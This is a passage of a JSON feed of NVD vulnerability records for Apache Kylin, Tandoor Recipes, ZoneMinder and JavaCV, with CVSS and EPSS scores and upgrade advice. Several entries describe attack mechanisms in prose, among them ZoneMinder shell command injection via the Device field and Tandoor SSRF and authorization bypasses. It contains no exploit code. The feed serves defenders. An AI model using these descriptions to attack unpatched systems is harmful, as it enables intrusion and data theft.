fixes.","publishedAt":"2026-10-16T21:17:19.600Z","updatedAt":"2026-10-19T15:16:54.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108374","asOf":"2026-10-19T15:16:54.337Z"},"epss":{"probability":0.00241,"percentile":0.15059,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108374&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108374","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108374","type":"primary","publishedAt":"2026-10-16T21:17:19.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108374&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108374, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69080","cveId":"CVE-2026-69080","aliases":[],"kind":"vulnerability","title":"Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.","summary":"Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Exposure of SQL Black List to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:24.560Z","updatedAt":"2026-10-20T19:17:40.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69080","asOf":"2026-10-20T19:17:40.840Z"},"epss":{"probability":0.00385,"percentile":0.32304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69080","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69080","type":"primary","publishedAt":"2026-10-16T20:17:24.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69077","cveId":"CVE-2026-69077","aliases":[],"kind":"vulnerability","title":"Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin.","summary":"Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Exposure of unauthorized cross-project job manipulation vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:24.450Z","updatedAt":"2026-10-20T19:17:40.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69077","asOf":"2026-10-20T19:17:40.677Z"},"epss":{"probability":0.00385,"percentile":0.32303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69077","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69077","type":"primary","publishedAt":"2026-10-16T20:17:24.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69076","cveId":"CVE-2026-69076","aliases":[],"kind":"vulnerability","title":"Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin.","summary":"Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Exposure of Job Discard to an Unauthorized Actor vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:24.343Z","updatedAt":"2026-10-20T19:17:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69076","asOf":"2026-10-20T19:17:40.503Z"},"epss":{"probability":0.00385,"percentile":0.32304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69076","type":"primary","publishedAt":"2026-10-16T20:17:24.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68572","cveId":"CVE-2026-68572","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.","summary":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:24.120Z","updatedAt":"2026-10-20T18:17:21.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68572","asOf":"2026-10-20T18:17:21.657Z"},"epss":{"probability":0.00279,"percentile":0.20185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68572","type":"primary","publishedAt":"2026-10-16T20:17:24.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61726","cveId":"CVE-2026-61726","aliases":[],"kind":"vulnerability","title":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.","summary":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.12, StepViewSet and IngredientViewSet filter only by active Space and use role-level CustomIsUser checks instead of the private-recipe owner or sharing predicate when an authenticated user with read and write API scope in the victim's Space supplies a private recipe or step identifier to the Step API. Request processing uses StepViewSet, IngredientViewSet, api/step/, api/step/{step_id}/, CustomIsUser, CustomRecipePermission. The attack works because the sub-resource querysets return and update private-recipe steps for non-owners because Space membership is accepted without recipe-level authorization. This can read and silently modify another same-Space member's private recipe instructions, while cross-Space access remains out of scope. This issue is fixed in version 2.6.12.","detail":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.12, StepViewSet and IngredientViewSet filter only by active Space and use role-level CustomIsUser checks instead of the private-recipe owner or sharing predicate when an authenticated user with read and write API scope in the victim's Space supplies a private recipe or step identifier to the Step API. Request processing uses StepViewSet, IngredientViewSet, api/step/, api/step/{step_id}/, CustomIsUser, CustomRecipePermission. The attack works because the sub-resource querysets return and update private-recipe steps for non-owners because Space membership is accepted without recipe-level authorization. This can read and silently modify another same-Space member's private recipe instructions, while cross-Space access remains out of scope. This issue is fixed in version 2.6.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:23.980Z","updatedAt":"2026-10-19T20:52:47.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61726","asOf":"2026-10-19T20:52:47.340Z"},"epss":{"probability":0.00231,"percentile":0.13774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61726&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61726","type":"primary","publishedAt":"2026-10-16T20:17:23.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61726&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61726, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59970","cveId":"CVE-2026-59970","aliases":[],"kind":"vulnerability","title":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.","summary":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, passes an administrator-controlled AI provider URL directly to LiteLLM without applying the server's outbound-request SSRF checks when an authenticated user creates a Space, configures an AI provider with a URL targeting an internal address, and invokes an AI action. In cookbook/views/api.py, the affected AI actions call completion through TARGET/api/ai-import/ and api/ai-step-sort/ while bypassing safe_request. The attack works because the server connects to the supplied provider URL from each AI action and exposes connection success, refusal, or timeout as a blind network-reachability oracle. This can reach internal services, other hosts on the server network, and cloud metadata endpoints and map reachable internal hosts and ports. This issue is fixed in version 2.6.10.","detail":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, passes an administrator-controlled AI provider URL directly to LiteLLM without applying the server's outbound-request SSRF checks when an authenticated user creates a Space, configures an AI provider with a URL targeting an internal address, and invokes an AI action. In cookbook/views/api.py, the affected AI actions call completion through TARGET/api/ai-import/ and api/ai-step-sort/ while bypassing safe_request. The attack works because the server connects to the supplied provider URL from each AI action and exposes connection success, refusal, or timeout as a blind network-reachability oracle. This can reach internal services, other hosts on the server network, and cloud metadata endpoints and map reachable internal hosts and ports. This issue is fixed in version 2.6.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:23.843Z","updatedAt":"2026-10-21T22:16:50.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59970","asOf":"2026-10-21T22:16:50.120Z"},"epss":{"probability":0.00311,"percentile":0.23714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59970&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59970","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59970","type":"primary","publishedAt":"2026-10-16T20:17:23.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59970&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59970, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59963","cveId":"CVE-2026-59963","aliases":[],"kind":"vulnerability","title":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.","summary":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, recipe utility endpoints retrieve same-Space Recipe objects without invoking the private-recipe owner or sharing permission when an authenticated member of a shared Space supplies another member's private recipe identifier to AI import, file, external-link, or share-link endpoints. Request processing uses api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/, CustomRecipePermission. The attack works because the endpoints read private recipe files, send file bytes to the configured AI provider, or create and disclose external links without object-level authorization, and api/share-link/ can create a public link when Space sharing is enabled. This can expose private recipe files and sensitive uploaded content to another same-Space user and to configured external services. This issue is fixed in version 2.6.10.","detail":"Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, recipe utility endpoints retrieve same-Space Recipe objects without invoking the private-recipe owner or sharing permission when an authenticated member of a shared Space supplies another member's private recipe identifier to AI import, file, external-link, or share-link endpoints. Request processing uses api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/, CustomRecipePermission. The attack works because the endpoints read private recipe files, send file bytes to the configured AI provider, or create and disclose external links without object-level authorization, and api/share-link/ can create a public link when Space sharing is enabled. This can expose private recipe files and sensitive uploaded content to another same-Space user and to configured external services. This issue is fixed in version 2.6.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:23.567Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59963","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00212,"percentile":0.11368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59963","type":"primary","publishedAt":"2026-10-16T20:17:23.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-30971","cveId":"CVE-2026-30971","aliases":[],"kind":"vulnerability","title":"ZoneMinder is a free, open source closed-circuit television software application.","summary":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.39.2, 1.38.2, and 1.36.40, ZoneMinder interpolates an unvalidated monitor Device field into shell commands in PHP and Perl control paths when an authenticated user with monitor-create or monitor-edit permission saves a Local monitor whose Device Path contains shell metacharacters and the monitor control or startup path runs. In this attack mechanism, the stored Device value reaches Perl qx() and backtick execution before zmdc.pl argument detainting, while separate PHP command paths use bypassable escapeshellcmd defenses. The attacker can execute arbitrary commands as the web server user. This vulnerability is fixed in 1.39.2, 1.38.2, and 1.36.40.","detail":"ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.39.2, 1.38.2, and 1.36.40, ZoneMinder interpolates an unvalidated monitor Device field into shell commands in PHP and Perl control paths when an authenticated user with monitor-create or monitor-edit permission saves a Local monitor whose Device Path contains shell metacharacters and the monitor control or startup path runs. In this attack mechanism, the stored Device value reaches Perl qx() and backtick execution before zmdc.pl argument detainting, while separate PHP command paths use bypassable escapeshellcmd defenses. The attacker can execute arbitrary commands as the web server user. This vulnerability is fixed in 1.39.2, 1.38.2, and 1.36.40.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:23.190Z","updatedAt":"2026-10-16T20:17:23.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-30971","asOf":"2026-10-16T20:17:23.320Z"},"epss":{"probability":0.01065,"percentile":0.64447,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-30971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-30971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30971","type":"primary","publishedAt":"2026-10-16T20:17:23.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-30971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108743","cveId":"CVE-2026-108743","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin.","summary":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4.0.4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\nThis issue affects Apache Kylin: from 4.0.4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T20:17:19.050Z","updatedAt":"2026-10-20T13:16:39.583Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108743","asOf":"2026-10-20T13:16:39.583Z"},"epss":{"probability":0.01387,"percentile":0.72057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108743","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108743","type":"primary","publishedAt":"2026-10-16T20:17:19.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102834","cveId":"CVE-2026-102834","aliases":[],"kind":"vulnerability","title":"JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries.","summary":"JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries. Prior to 1.5.14, IPCameraFrameGrabber doubles a 32-bit buffer capacity without checking for overflow or bounding the parsed Content-Length. An application consumes an MJPEG response from a malicious camera endpoint or a tampered plaintext stream. The source can return an oversized Content-Length header in an MJPEG stream. Successful exploitation can trap the frame-grabbing thread in a permanent CPU-spinning loop and deny service. This issue is fixed in version 1.5.14.","detail":"JavaCV provides Java interfaces to OpenCV, FFmpeg, and other multimedia libraries. Prior to 1.5.14, IPCameraFrameGrabber doubles a 32-bit buffer capacity without checking for overflow or bounding the parsed Content-Length. An application consumes an MJPEG response from a malicious camera endpoint or a tampered plaintext stream. The source can return an oversized Content-Length header in an MJPEG stream. Successful exploitation can trap the frame-grabbing thread in a permanent CPU-spinning loop and deny service. This issue is fixed in version 1.5.14.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 